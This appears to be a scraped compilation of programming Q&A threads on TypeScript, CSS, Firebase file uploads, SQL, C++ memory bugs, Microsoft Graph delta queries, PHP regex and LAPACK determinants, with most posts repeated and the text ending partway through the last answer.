```<code>interface searchClient {
  searchForValues({
    name,
    query,
    ...qp,
  }: {
    name: string;
    query: string;
  }
    & QpInterface): Promise<any>;
 }
</code>```

Body:
I'm a bit new to Typescript, and I can do typings for 90% of my codebase. But when it comes to rest/spread operators, I am absolutely at a loss. I happened upon this today in our code (I did not write this) but I did figure out that it doesn't work:

interface searchClient {
  searchForValues({
    name,
    query,
    ...qp,
  }: {
    name: string;
    query: string;
    qp: QpInterface;  //???this part doesn't work
  }): Promise<any>;
 }

interface QpInterface {
  page?: number;
  hits?: number;
  attributes?: string;
}

It doesn't work because qp is designating the name of the key in the typing whereas what I want to type is the ...qp part. Every key/value pair in ...qp is typed by the QpInterface.

Here's a sample function call:

this.searchClient.searchForValues({
  name: 'title',
  query: 'little sheep',
  page: 5,
  hits: 2
});

I couldn't find much on this on the documentation. I've tried putting ...qp: QpInterface; and ...QpInterface; which didn't work. What is the best way to type ...qp in the argument?

Body:
Until spread types are implemented in TypeScript, you can use intersection type for this:

interface searchClient {
  searchForValues({
    name,
    query,
    ...qp,
  }: {
    name: string;
    query: string;
  }
    & QpInterface): Promise<any>;
 }


问:
How to shift side-by-side box?
I'm trying for hours now do to this

and I can do that slightly shifted box at the left, and because of this I can't put the image above properly either. I keep deforming the website, or have stacked boxes... I tried with position:absolute, with float, and basically everything I know, but I can't seem to get it right.
Can you help me?

答:
Not sure to understand the question but to position your boxes, you also can use flexbox :

https://css-tricks.com/snippets/css/a-guide-to-flexbox/

Really easy to use and keep a responsive design.

Title: How to shift side-by-side box?


问:
Where is the folder location for local storage when using react
I'm trying to find the folder location of local storage when using react. Is the location specific to the browser or specific to react?</p>

答:
If you're just trying to get access to localStorage in React, you can just call window.localStorage.[methodName]() to get / set / remove just like in vanilla js.

There should be no difference whether you're using Vanilla JS, React or any other framework. LocalStorage exists on the window, that is to say, its global in the browser, so as long as your app is running in a browser that supports localStorage, then you can get to it via window.


问:
Why isn't 'gets' working in my Ruby script when I run from TextMate?
When running the following ruby script:

puts gets.inspect

On the terminal I am prompted for input and then the inspect output is shown, but if I run the same script from inside TextMate using the CMD+R shortcut then it just outputs nil as if there is no gets method.

Why is this? From what I've read TextMate is supposed to show an input dialog when input from STDIN is requested by the script, but that isn't happening in this case.

答:
Specifically, you need to copy the tm_interactive_input.dylib file linked to by Phrogz in the following path:

```<code>/Applications/TextMate.app/Contents/SharedSupport/Support/lib/tm_interactive_input.dylib
</code>```

Keep in mind that it's possible any TextMate updates will overwrite or delete this file.

Body:
Specifically, you need to copy the tm_interactive_input.dylib file linked to by Phrogz in the following path:

/Applications/TextMate.app/Contents/SharedSupport/Support/lib/tm_interactive_input.dylib

Keep in mind that it's possible any TextMate updates will overwrite or delete this file.


问:
How to perform an HTTP file upload using express on Cloud Functions for Firebase (multer, busboy)
I am trying to upload a file to Cloud Functions, using Express to handle requests there, but i am not succeeding. I created a version that works locally:

serverside js

```<code>const express = require('express');
const cors = require('cors');
const fileUpload = require('express-fileupload');

const app = express();
app.use(fileUpload());
app.use(cors());

app.post('/upload', (req, res) => {
    res.send('files: ' + Object.keys(req.files).join(', '));
});
</code>```

clientside js

```<code>const formData = new FormData();
Array.from(this.$refs.fileSelect.files).forEach((file, index) => {
    formData.append('sample' + index, file, 'sample');
});

axios.post(
    url,
    formData,
    {
        headers: { 'Content-Type': 'multipart/form-data' },
    }
);
</code>```

This exact same code seems to break when deployed to Cloud Functions, where req.files is undefined. Does anyone have any idea what is happening here?

EDIT
I also had a go at using multer, which worked fine locally, but once uploaded to Cloud Functions, this got me an empty array (same clientside code):

```<code>const app = express();
const upload = multer();
app.use(cors());

app.post('/upload', upload.any(), (req, res) => {
    res.send(JSON.stringify(req.files));
});
</code>```

答:
There was indeed a breaking change in the Cloud Functions setup that triggered this issue.  It has to do with the way the middleware works that gets applied to all Express apps (including the default app) used to serve HTTPS functions.  Basically, Cloud Functions will parse the body of the request and decide what to do with it, leaving the raw contents of the body in a Buffer in req.rawBody.  You can use this to directly parse your multipart content, but you can't do it with middleware (like multer).

Instead, you can use a module called busboy to deal with the raw body content directly.  It can accept the rawBody buffer and will call you back with the files it found.  Here is some sample code that will iterate all the uploaded content, save them as files, then delete them.  You'll obviously want to do something more useful.

```<code>const path = require('path');
const os = require('os');
const fs = require('fs');
const Busboy = require('busboy');

exports.upload = functions.https.onRequest((req, res) => {
    if (req.method === 'POST') {
        const busboy = new Busboy({ headers: req.headers });
        // This object will accumulate all the uploaded files, keyed by their name
        const uploads = {}

        // This callback will be invoked for each file uploaded
        busboy.on('file', (fieldname, file, filename, encoding, mimetype) => {
            console.log(`File [${fieldname}] filename: ${filename}, encoding: ${encoding}, mimetype: ${mimetype}`);
            // Note that os.tmpdir() is an in-memory file system, so should only
            // be used for files small enough to fit in memory.
            const filepath = path.join(os.tmpdir(), fieldname);
            uploads[fieldname] = { file: filepath }
            console.log(`Saving '${fieldname}' to ${filepath}`);
            file.pipe(fs.createWriteStream(filepath));
        });

        // This callback will be invoked after all uploaded files are saved.
        busboy.on('finish', () => {
            for (const name in uploads) {
                const upload = uploads[name];
                const file = upload.file;
                res.write(`${file}\n`);
                fs.unlinkSync(file);
            }
            res.end();
        });

        // The raw bytes of the upload will be in req.rawBody.  Send it to busboy, and get
        // a callback when it's finished.
        busboy.end(req.rawBody);
    } else {
        // Client error - only support POST
        res.status(405).end();
    }
})
</code>```

Bear in mind that files saved to temp space occupy memory, so their sizes should be limited to a total of 10MB.  For larger files, you should upload those to Cloud Storage and process them with a storage trigger.

Also bear in mind that the default selection of middleware added by Cloud Functions is not currently added to the local emulator via firebase serve.  So this sample will not work (rawBody won't be available) in that case.

The team is working on updating the documentation to be more clear about what all happens during HTTPS requests that's different than a standard Express app.

Body:
I am trying to upload a file to Cloud Functions, using Express to handle requests there, but i am not succeeding. I created a version that works locally:

serverside js

const express = require('express');
const cors = require('cors');
const fileUpload = require('express-fileupload');

const app = express();
app.use(fileUpload());
app.use(cors());

app.post('/upload', (req, res) => {
    res.send('files: ' + Object.keys(req.files).join(', '));
});

clientside js

const formData = new FormData();
Array.from(this.$refs.fileSelect.files).forEach((file, index) => {
    formData.append('sample' + index, file, 'sample');
});

axios.post(
    url,
    formData,
    {
        headers: { 'Content-Type': 'multipart/form-data' },
    }
);

This exact same code seems to break when deployed to Cloud Functions, where req.files is undefined. Does anyone have any idea what is happening here?

EDIT
I also had a go at using multer, which worked fine locally, but once uploaded to Cloud Functions, this got me an empty array (same clientside code):

const app = express();
const upload = multer();
app.use(cors());

app.post('/upload', upload.any(), (req, res) => {
    res.send(JSON.stringify(req.files));
});

Body:
There was indeed a breaking change in the Cloud Functions setup that triggered this issue.  It has to do with the way the middleware works that gets applied to all Express apps (including the default app) used to serve HTTPS functions.  Basically, Cloud Functions will parse the body of the request and decide what to do with it, leaving the raw contents of the body in a Buffer in req.rawBody.  You can use this to directly parse your multipart content, but you can't do it with middleware (like multer).

Instead, you can use a module called busboy to deal with the raw body content directly.  It can accept the rawBody buffer and will call you back with the files it found.  Here is some sample code that will iterate all the uploaded content, save them as files, then delete them.  You'll obviously want to do something more useful.

const path = require('path');
const os = require('os');
const fs = require('fs');
const Busboy = require('busboy');

exports.upload = functions.https.onRequest((req, res) => {
    if (req.method === 'POST') {
        const busboy = new Busboy({ headers: req.headers });
        // This object will accumulate all the uploaded files, keyed by their name
        const uploads = {}

        // This callback will be invoked for each file uploaded
        busboy.on('file', (fieldname, file, filename, encoding, mimetype) => {
            console.log(`File [${fieldname}] filename: ${filename}, encoding: ${encoding}, mimetype: ${mimetype}`);
            // Note that os.tmpdir() is an in-memory file system, so should only
            // be used for files small enough to fit in memory.
            const filepath = path.join(os.tmpdir(), fieldname);
            uploads[fieldname] = { file: filepath }
            console.log(`Saving '${fieldname}' to ${filepath}`);
            file.pipe(fs.createWriteStream(filepath));
        });

        // This callback will be invoked after all uploaded files are saved.
        busboy.on('finish', () => {
            for (const name in uploads) {
                const upload = uploads[name];
                const file = upload.file;
                res.write(`${file}\n`);
                fs.unlinkSync(file);
            }
            res.end();
        });

        // The raw bytes of the upload will be in req.rawBody.  Send it to busboy, and get
        // a callback when it's finished.
        busboy.end(req.rawBody);
    } else {
        // Client error - only support POST
        res.status(405).end();
    }
})

Bear in mind that files saved to temp space occupy memory, so their sizes should be limited to a total of 10MB.  For larger files, you should upload those to Cloud Storage and process them with a storage trigger.

Also bear in mind that the default selection of middleware added by Cloud Functions is not currently added to the local emulator via firebase serve.  So this sample will not work (rawBody won't be available) in that case.

The team is working on updating the documentation to be more clear about what all happens during HTTPS requests that's different than a standard Express app.


问:
How to properly escape "discourged" XML characters?
Per the XML 1.0 standard, there is a character range which is considered "discouraged":
I would like to escape these characters (such as smart quote “, dec 147, or ’ (dec 146)) inside of XML attribute values using their hex encoded XML entity string.

I noticed when looking at the file in Chrome or Edge for example, it shows me the actual value, such as "]". I have also tried "]", but that works the same as well.

To be clear, I'm attempting to render these "discouraged" characters in an attribute, like follows:

This:

```<code><foo bar="]">
</code>```

Should be rendered/interepreted by a parser as this:

```<code><foo bar="“">
</code>```

答:
You need a trailing semicolon to terminate the entity reference:</p>

```<code><foo bar="]">
</code>```

Body:
Per the XML 1.0 standard, there is a character range which is considered "discouraged":
I would like to escape these characters (such as smart quote “, dec 147, or ’ (dec 146)) inside of XML attribute values using their hex encoded XML entity string.

I noticed when looking at the file in Chrome or Edge for example, it shows me the actual value, such as "]". I have also tried "&#0093;", but that works the same as well.

To be clear, I'm attempting to render these "discouraged" characters in an attribute, like follows:

This:

<foo bar="]">

Should be rendered/interepreted by a parser as this:

<foo bar="“">

Body:
You need a trailing semicolon to terminate the entity reference:

<foo bar="&#0093;">


问:
What is an efficient SQL query to join to a double maximum in a sub query?
Sorry the title is crap - I could not think of a better way to phrase it. This is my data structure:

```<code>Widget   WidgetTransition
------   ----------------
Id,      WidgetId,
...      TransitionTypeId,
         Cost,
         ...
</code>```

I want a query that will give me a list of details for each widget along with the details of the most expensive (max WidgetTransition.Cost) transition. If a widget has two or more transitions that are 'tied' for the most expensive transition, the details of the most recent transition (max WidgetTransition.WidgetId) should be used. If the widget has no transitions, it should not appear in the results. This is the best that I could come up with:

```<code>SELECT *
FROM   Widget
JOIN   WidgetTransition
ON     WidgetTransition.WidgetId = Widget.Id
AND    WidgetTransition.Cost = (
       SELECT Max(MostExpensiveTransition.Cost)
       FROM   WidgetTransition MostExpensiveTransition
       WHERE  MostExpensiveTransition.WidgetId = Widget.Id
       )
</code>```

This almost works, but has two problems.

Doesn't deal with tied transitions properly. If a widget has two or more tied transitions, each transition will appear in the results, instead of the most recent.

With large data sets, the query is sloooow. The Sybase database that I am running it on will do two table scans (WidgetTransition.Cost is not in the index) on WidgetTransition for each widget. Presumably one is for the join and one to find the max cost.

Is there a better way to write this query that fixes the tied problem and/or runs more efficiently? I want to avoid using T-SQL or a stored procedure.

答:
Have you tried creating the 'MaxValues' like below:

```<code>SELECT *
FROM   Widget
JOIN   WidgetTransition
ON     WidgetTransition.WidgetId = Widget.Id
JOIN   (SELECT MostExpensiveTransition.WidgetId, Max(MostExpensiveTransition.Cost) Cost
       FROM   WidgetTransition MostExpensiveTransition
       GROUP BY MostExpensiveTransition.WidgetId
       ) MaxValues
ON     MaxValues.WidgetId = Widget.Id
AND    WidgetTransition.Cost = MaxValues.Cost
</code>```

I'm going from memory here as I don't have a sql database to play with at the moment, so sorry if it doesn't quite work.

Body:
Sorry the title is crap - I could not think of a better way to phrase it. This is my data structure:

Widget   WidgetTransition
------   ----------------
Id,      WidgetId,
...      TransitionTypeId,
         Cost,
         ...

I want a query that will give me a list of details for each widget along with the details of the most expensive (max WidgetTransition.Cost) transition. If a widget has two or more transitions that are 'tied' for the most expensive transition, the details of the most recent transition (max WidgetTransition.WidgetId) should be used. If the widget has no transitions, it should not appear in the results. This is the best that I could come up with:

SELECT *
FROM   Widget
JOIN   WidgetTransition
ON     WidgetTransition.WidgetId = Widget.Id
AND    WidgetTransition.Cost = (
       SELECT Max(MostExpensiveTransition.Cost)
       FROM   WidgetTransition MostExpensiveTransition
       WHERE  MostExpensiveTransition.WidgetId = Widget.Id
       )

This almost works, but has two problems.

Doesn't deal with tied transitions properly. If a widget has two or more tied transitions, each transition will appear in the results, instead of the most recent.

With large data sets, the query is sloooow. The Sybase database that I am running it on will do two table scans (WidgetTransition.Cost is not in the index) on WidgetTransition for each widget. Presumably one is for the join and one to find the max cost.

Is there a better way to write this query that fixes the tied problem and/or runs more efficiently? I want to avoid using T-SQL or a stored procedure.

Body:
Have you tried creating the 'MaxValues' like below:

SELECT *
FROM   Widget
JOIN   WidgetTransition
ON     WidgetTransition.WidgetId = Widget.Id
JOIN   (SELECT MostExpensiveTransition.WidgetId, Max(MostExpensiveTransition.Cost) Cost
       FROM   WidgetTransition MostExpensiveTransition
       GROUP BY MostExpensiveTransition.WidgetId
       ) MaxValues
ON     MaxValues.WidgetId = Widget.Id
AND    WidgetTransition.Cost = MaxValues.Cost

I'm going from memory here as I don't have a sql database to play with at the moment, so sorry if it doesn't quite work.


问:
How to toggle a button to an active state using vanilla JS?
I have a list of 20 buttons on a page. When I click on a button I want it to switch to an "active" state. In this active state it will be a different color. I would like to do this using only vanilla javascript and css.

I have the following code to create the buttons:

```<code>var button;
createButtons();

function createButtons() {
  for (i = 0; i < 20; i++) {
    //creates a new button
    button = document.createElement('Button');

    //sets correct button number and button text
    var index = i + 1;
    var text = document.createTextNode('Button ' + index);
    button.appendChild(text);
    button.className += "button";
    button.className += " default-button";
    document.body.appendChild(button);
  }
}
</code>```

答:
You can use button.onclick = function(){ // do things here. };
I have included the code in a snippet below. Good luck.

var button;
createButtons();

function createButtons() {
  for (i = 0; i < 20; i++) {
    //creates a new button
    button = document.createElement('Button');

    //sets correct button number and button text
    var index = i + 1;
    var text = document.createTextNode('Button ' + index);
    button.appendChild(text);
    button.className += "button";
    button.className += " default-button";

    // --------------------------------------------------------
    // on click check if it contains the class for the color
    // and toggle it on or off.
    button.onclick = function() {
      if (this.classList.contains("enableColor")) {
        this.classList.remove('enableColor');
      } else {
        this.classList.add("enableColor");
      }
    }
    // --------------------------------------------------------
    document.body.appendChild(button);
  }
}```
<pre class="snippet-code-css lang-css prettyprint-override"><code>.enableColor {
  background: red;
  color: white;
}</code>```

Body:
I have a list of 20 buttons on a page. When I click on a button I want it to switch to an "active" state. In this active state it will be a different color. I would like to do this using only vanilla javascript and css.

I have the following code to create the buttons:

var button;
createButtons();

function createButtons() {
  for (i = 0; i < 20; i++) {
    //creates a new button
    button = document.createElement('Button');

    //sets correct button number and button text
    var index = i + 1;
    var text = document.createTextNode('Button ' + index);
    button.appendChild(text);
    button.className += "button";
    button.className += " default-button";
    document.body.appendChild(button);
  }
}

Body:
You can use button.onclick = function(){ // do things here. };
I have included the code in a snippet below. Good luck.

var button;
createButtons();

function createButtons() {
  for (i = 0; i < 20; i++) {
    //creates a new button
    button = document.createElement('Button');

    //sets correct button number and button text
    var index = i + 1;
    var text = document.createTextNode('Button ' + index);
    button.appendChild(text);
    button.className += "button";
    button.className += " default-button";

    // --------------------------------------------------------
    // on click check if it contains the class for the color
    // and toggle it on or off.
    button.onclick = function() {
      if (this.classList.contains("enableColor")) {
        this.classList.remove('enableColor');
      } else {
        this.classList.add("enableColor");
      }
    }
    // --------------------------------------------------------
    document.body.appendChild(button);
  }
}

.enableColor {
  background: red;
  color: white;
}


问:
better style to create multiple property from the same class
I would like to create a class with multiple properties from the same existing class. I have following code, but it seems like it is really poor style ... any better way to do it?</p>

```<code>class employee:
    def __init__(self, name):
        self.name = name

class company():
    def __init__(self):
        self.a = employee('a')
        self.b = employee('b')
        self.c = employee('c')
        self.d = employee('d')
        self.e = employee('e')
        self.f = employee('f')

t = company()
</code>```

答:
I suspect that you want your class more flexible than this: you want to allow a company to add and remove employees.  This will require a different approach to the interface.  Something like

```<code>class employee:
    def __init__(self, name):
        self.name = name

class company():
    def __init__(self):
        self.employee_list = []

    # create and add a new employee
    def hire(self, new_name):
        new_employee = employee(new_name)
        self.employee_list.append(new_employee)

t = company()
for new_hire in ["a", "b", "c", "d", "e", "f']:
    t. hire(new_hire)
</code>```

Note that the for loop is probably not how you will actually populate your company.  I did that just to make it easy to do something equivalent to your original code.

Body:
I would like to create a class with multiple properties from the same existing class. I have following code, but it seems like it is really poor style ... any better way to do it?

class employee:
    def __init__(self, name):
        self.name = name

class company():
    def __init__(self):
        self.a = employee('a')
        self.b = employee('b')
        self.c = employee('c')
        self.d = employee('d')
        self.e = employee('e')
        self.f = employee('f')

t = company()

Body:
I suspect that you want your class more flexible than this: you want to allow a company to add and remove employees.  This will require a different approach to the interface.  Something like

class employee:
    def __init__(self, name):
        self.name = name

class company():
    def __init__(self):
        self.employee_list = []

    # create and add a new employee
    def hire(self, new_name):
        new_employee = employee(new_name)
        self.employee_list.append(new_employee)

t = company()
for new_hire in ["a", "b", "c", "d", "e", "f']:
    t. hire(new_hire)

Note that the for loop is probably not how you will actually populate your company.  I did that just to make it easy to do something equivalent to your original code.


问:
How can I post to the wall of a Facebook Fan Page using PHP and Open Graph API
Sample code is appreciated, I can't seem to find any simple examples of this online.</p>

答:
in this change the /me/feed/ to your page id, I did't try....Just check</p>

```<code>$attachment = array('message' => 'some meesgae',
        'name' => 'This is my demo Facebook application!',
        'caption' => "Caption of the Post",
        'link' => 'mylink.com',
        'description' => 'this is a description',
        'actions' => array(array('name' => 'Get Search', 'link' => 'google.com')) );
    $result = $facebook->api('/me/feed?access_token='.$access_token, 'post', $attachment);
</code>```

Body:
in this change the /me/feed/ to your page id, I did't try....Just check

$attachment = array('message' => 'some meesgae',
        'name' => 'This is my demo Facebook application!',
        'caption' => "Caption of the Post",
        'link' => 'mylink.com',
        'description' => 'this is a description',
        'actions' => array(array('name' => 'Get Search', 'link' => 'google.com')) );
    $result = $facebook->api('/me/feed?access_token='.$access_token, 'post', $attachment);


答:
After a debugging session, I found the problem: the bool *table variable was initialized to garbage values in this line: bool *table = new bool[rows * cols];. I expected this to initialize the bools to false. The nonzero garbage values tricked the program into thinking there was a solution for n=8 and thus calling backtrace. However, backtrace only works when there is a solution. Otherwise the indexing operations will go out of bounds.

I fixed it by calling the default constructor for bool in the table allocation, which sets the bools to false: bool *table = new bool[rows * cols]();

Thanks to cantordust for suggesting to try breakpoints.

Title: Why does assigning a vector from a factory function and iterating over it inside a loop cause a segfault?

Body:
I wrote a function that decomposes a number into a sequence of smaller numbers such that the sum of the squared sequence elements equals the square of the input number. The declaration of this function looks like this: std::vector<long long> Decomp::decompose(long long n);. To test the output of the function, I use the following main function:

int main()
{
    for (long long n = 1; n <= 65; ++n)
    {
        auto res = Decomp::decompose(n);
        if (res.empty())
            std::cout << n << ": No solution.\n";
        else
        {
            std::cout << n << ": [";
            for (long long i: res)
                std::cout << i << ' ';
            std::cout << "\b]\n";
        }
    }
}

However, this leads to a segmentation fault for n=8:

Output:
1: No solution.
2: No solution.
3: No solution.
4: No solution.
5: [3 4]
6: No solution.
7: [2 3 6]
8: [5 4 3 2 1 0 72405692564177152 72340172838076673 281474993553665 130961 139767842405240 139767842405240 4366240942559068160 72340172838076673 72340172838076673 282578800148737 1099511628033 256 72340168526266368 72340172838091928 72340172838076673 72340172838076673 72340172838076673 72340172838076673 72057594054770689 72340173837828353 72340172838076673 72340172838076673 72340172838076673 72340172838076673 72340172838076673 72405692564177153 72340172838076673 72340172838076673 72340172838076673 72340172838076673 72340172838076673 16843009 240 32 17817984 4 272 32 0 3 304 48 0 4 3 2 72339069014704384 130609 257 130593 0 0 0 0 0 0 282574488404224 72340168543109376 0 0 0 0 0 0 72339069031481344 72339073326448640 72058697861300225 257 0 0 0 0 72057598349672448 72058697861300225 72340172838011137 72058697861366017 282578783305985 65793 0 0 1103806595072 282578783305985 72340172821299457 282578800148737 72340168526332161 72340168543109376 72340172838076673 72339069031481600 282578800148481 72340168526332160 72340168543109376 72340172838076673 72339069031481600 72340172838076673 72340172838076673 72340172838076673 72340172838076673 72339069031481344 72339073326448641 72340172838076673 72057598349737985 72340172838076673 72340172838076673 72340172838076673 282578800148737 130145 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 (whole lot of zeros...)  Segmentation fault

I suspect something in above main function is causing the segfault, since the following main function seems to work fine:

int main()
{
    long long n = 8;
    auto res = Decomp::decompose(n);
    if (res.empty())
        std::cout << n << ": No solution.\n";
    else
    {
        std::cout << n << ": [";
        for (long long i: res)
            std::cout << i << ' ';
        std::cout << "\b]\n";
    }
}

Output:
8: No solution.

Edit:
gdb says the following:

Core was generated by `./test'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x00000000004026e3 in main ()

Decomp::decompose looks like this:

std::vector<long long> Decomp::decompose(long long n)
{
    if (n <= 1)
        return std::vector<long long>();

    size_t rows = n - 1, cols = n * n + 1;
    bool *table = new bool[rows * cols];
    std::vector<long long> ret;

    for (size_t i = 0; i < rows; ++i)
        table[i * cols] = true;

    table[1] = true;

    for (size_t i = 1; i < rows; ++i)
        for (size_t j = 1; j < cols; ++j)
        {
            table[i * cols + j] = (j < (i + 1) * (i + 1)) ?
                                  table[(i - 1) * cols + j] :
                                  table[(i - 1) * cols + j] ||
                                  table[(i - 1) * cols + j - (i + 1) * (i + 1)];
        }

    if ( table[rows * cols - 1] )
    {
        backtrace(n, rows - 1, cols - 1, table, ret);
        std::reverse(ret.begin(), ret.end());
    }

    delete[] table;
    return ret;
}

Decomp::backtrace is a recursive function that extracts the sequence from the table created in decompose, just adding it here for reference:

bool Decomp::backtrace(long long n, size_t i, size_t j, bool table[], std::vector<long long> &seq)
{
    if (std::inner_product(seq.begin(), seq.end(), seq.begin(), 0LL) == n * n)
        return true;

    size_t cols = n * n + 1;

    if (table[i * cols + j])
    {
        if ((i + 1) * (i + 1) <= j)
        {
            seq.push_back(i + 1);
            if (backtrace(n, i - 1, j - (i + 1) * (i + 1), table, seq))
                return true;

            return backtrace(n, i - 1, j, table, seq);
        }
        else
        {
            while (table[i * cols + j] and (i + 1) * (i + 1) > j)
                --i;

            if (table[i * cols + j])
            {
                seq.push_back(i + 1);

                if (backtrace(n, i - 1, j - (i + 1) * (i + 1), table, seq))
                    return true;

                return backtrace(n, i - 1, j, table, seq);
            }
            else
            {
                std::cout << "case found\n";
                seq.pop_back();
                return false;
            }
        }
    }
    else
    {
        seq.pop_back();
        return false;
    }
}

And the class header for reference:

public:
    static std::vector<long long> decompose(long long n);
private:
    static bool backtrace(long long n, size_t i, size_t j, bool table[], std::vector<long long> &seq);


问:
GraphAPI V1 Delta Import issue
Hello getting a current error when calling graph API from MIM using ECMA and trying to do delta imports

Delta calls give me this error out of graph

```<code>{
    "error": {
        "code": "Request_UnsupportedQuery",
        "message": "API version mismatch: request version 25 with deltaLink version 27",
        "innerError": {
            "request-id": "478063b8-b750-4448-bc11-36c5b87459da",
            "date": "2017-11-14T15:50:20"
        }
    }
}
</code>```

The call being made is

```<code>https://graph.microsoft.com:443/v1.0/groups/delta/?$de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n2pmTVXAp8XF3LxY-yiDeYwV8IekkPJkMgBI5IaB-olzD-g8PVflJ9_tBbejiQu8rJRCpIRhAs_5dqKU9SDl1Zbb5Z1Tg9z_8jIPVxmnLQhiT08hbIbGYZPir9egg93KJH9tQN2shhgfot6IoHxe_WeDuGDnt5tW8gYV0FtYdlP_LFc2MLPIW-AKnBbVRoif6ef3YwxGTKReBpHo4vHB0iI7I5NbbEapNBy7nabwd4dDnMArCVJj6Xc7aFP_S0qBuqNivUd1ErCqWs3f4itWf81FOdaAOPZUQMauJm--UpoyYcSy-O9u8LqEbKES2L2j11RZHLo7QFVuvLHxSDLMc0ppAIfAFrNvgoIT9eXSmCPrPHIC6CRGB0-poQxfGnQa65SGgvJDC8p9tvKJksFVWZw9uAyIKJfTxJNFArt3qvJENZF9ibiPLJy_iApl3w.GcWm0-PZzysRyQAOMHKQ79l8QFo2jcLAZSnBZTkWd2M&$select=members,securityEnabled,onPremisesSecurityIdentifier,mailNickname,displayName,id,onPremisesSyncEnabled,owners,groupTypes,mail,mailEnabled&$top=500
</code>```

答:
I work for Microsoft Graph delta query team.

I have used the request id and times mentioned in the error message and  found the Microsoft Graph logs with  request id.

Error says : [API version mismatch: request version 25 with deltaLink version 27]

That means, Client has used the Delta link generated from the internal version 27 (AGSBetaB-internal) and made call to the internal version 25 (AGSv1-internal).

The problem I suspect here is “Client has got the Delta Link by making call to MS Graph Beta version endpoint and then used that delta link to make a new call to MS Graph V1 version endpoint”.

To confirm the above statement, we need the request id and time of the previous call which gave the delta link.

Please note : Delta links are not sharable accross different API versions of Graph.

Title: GraphAPI V1 Delta Import issue

Body:
Hello getting a current error when calling graph API from MIM using ECMA and trying to do delta imports

Delta calls give me this error out of graph

{
    "error": {
        "code": "Request_UnsupportedQuery",
        "message": "API version mismatch: request version 25 with deltaLink version 27",
        "innerError": {
            "request-id": "478063b8-b750-4448-bc11-36c5b87459da",
            "date": "2017-11-14T15:50:20"
        }
    }
}

The call being made is

https://graph.microsoft.com:443/v1.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n6j2D6-jrQkn2pmTVXAp8XF3LxY-yiDeYwV8IekkPJkMgBI5IaB-olzD-g8PVflJ9_tBbejiQu8rJRCpIRhAs_5dqKU9SDl1Zbb5Z1Tg9z_8jIPVxmnLQhiT08hbIbGYZPir9egg93KJH9tQN2shhgfot6IoHxe_WeDuGDnt5tW8gYV0FtYdlP_LFc2MLPIW-AKnBbVRoif6ef3YwxGTKReBpHo4vHB0iI7I5NbbEapNBy7nabwd4dDnMArCVJj6Xc7aFP_S0qBuqNivUd1ErCqWs3f4itWf81FOdaAOPZUQMauJm--UpoyYcSy-O9u8LqEbKES2L2j11RZHLo7QFVuvLHxSDLMc0ppAIfAFrNvgoIT9eXSmCPrPHIC6CRGB0-poQxfGnQa65SGgvJDC8p9tvKJksFVWZw9uAyIKJfTxJNFArt3qvJENZF9ibiPLJy_iApl3w.GcWm0-PZzysRyQAOMHKQ79l8QFo2jcLAZSnBZTkWd2M&$select=members,securityEnabled,onPremisesSecurityIdentifier,mailNickname,displayName,id,onPremisesSyncEnabled,owners,groupTypes,mail,mailEnabled&$top=500


问:
Delete numbers and punctuation with preg_replace PHP
I want to erase numbers and punctuation (full stops, commas, etc) of a string in PHP, I tried this for example

```<code><?php
 $str = "Hello, lorem ipsum, dolor sit amet. Adipiscing90 elit. 1234567890. ";
 $text = preg_replace('/\d+/u', '', $str);
 echo $text;
?>
</code>```

This only delete numbers but no punctuation resulting this:

Hello, lorem ipsum, dolor sit amet. Adipiscing elit. .

I want to get like this, with no commas, full stops, etc:

Hello lorem ipsum dolor sit amet Adipiscing elit

How can I modify preg_replace function?

I would like some help.

答:
```<code>preg_replace('/[\d\p{P}]/', '', $str)
</code>```

output is "Hello lorem ipsum dolor sit amet Adipiscing elit  "

Body:
I want to erase numbers and punctuation (full stops, commas, etc) of a string in PHP, I tried this for example

<?php
 $str = "Hello, lorem ipsum, dolor sit amet. Adipiscing90 elit. 1234567890. ";
 $text = preg_replace('/\d+/u', '', $str);
 echo $text;
?>

This only delete numbers but no punctuation resulting this:

Hello, lorem ipsum, dolor sit amet. Adipiscing elit. .

I want to get like this, with no commas, full stops, etc:

Hello lorem ipsum dolor sit amet Adipiscing elit

How can I modify preg_replace function?

I would like some help.

Body:
preg_replace('/[\d\p{P}]/', '', $str)

output is "Hello lorem ipsum dolor sit amet Adipiscing elit  "


问:
compute determinant from LU decomposition in lapack
Lapack, most probably, doesn't have any routine for computing determinant. However we can compute it using either LU, QR or SVD decomposition. I prefer to use LU decomposition. Now lapack uses some dgetrf subroutine to factorize a matrix A into PLU format with some IPIV array. I don't have much idea how to deal with this information. To compute the determinant, I just multiply diagonal elements of U matrix. But what is L and U in PLU format and how to extract them. I am programming in C.</p>

答:
Lapack's dgetrf() computes a A=P*L*U decomposition for a general M-by-N matrix A. Assuming an invertible square matrix A, its determinant can be computed as a product:

U is an upper triangular matrix. Hence, its determinant is the product of the diagonal elements, which happens to be the diagonal elements of the output A. Indeed, see how the output A is defined:

On exit, the factors L and U from the factorization A = P*L*U; the unit diagonal elements of L are not stored.

L is a lower triangular matrix featuring unit diagonal elements which are not stored. Hence, its determinant is always 1.

P is a permutation matrix coded as a product of transpositions( i.e. 2-cycles or swap) . Indeed, see dgetri() to understand how it is used. Hence, its determinant is either 1 or -1, depending on whether the number of transpositions is even or odd. As a result, the determinant of P can be computed as:

```<code>int j;
double detp=1.;
for( j=0;j<n;j++){
    if(j+1!=ipiv[j]){
        // j+1 : following feedback of ead : ipiv is from Fortran, hence starts at 1.
        // hey ! This is a transpose !
        detp=-detp;
    }
}
</code>```

The complexity of this method is dominated by the cost of the Gaussian elimination using partial pivoting, that is O(2/3n^3).

You will likely turn to full pivoting using dgetc2() or QR decomposition to improve the accuracy. As signaled in Algebraic and Numerical Techniques for the Computation of Matrix Determinants by Pan et. al., combining equation 4.8, 4.9 and proposition 4.1, the final error on the determinant likely scales like ed=(a+eps*a*n^4)^{n-1}*eps*an^5=a^n*(1+eps*n^4)^{n-1}*n^5*eps where eps is the precision of double (about 1e-13), a is the largest magnitude of all elements in matrix A and n is the size of the matrix. It means that the computed determinant is not very significant for "large" matrices: see tables, it particular the relative error as PLU decomposition is used! The article also provides an algorithm to track the propagation of error and produce a better estimate of the error.

You can also try the Faddeev–Le Verrier algorithm...

Body:
Lapack's dgetrf() computes a A=P*L*U decomposition for a general M-by-N matrix A. Assuming an invertible square matrix A, its determinant can be computed as a product:

U is an upper triangular matrix. Hence, its determinant is the product of the diagonal elements, which happens to be the diagonal elements of the output A. Indeed, see how the output A is defined:

On exit, the factors L and U from the factorization A = P*L*U; the unit diagonal elements of L are not stored.

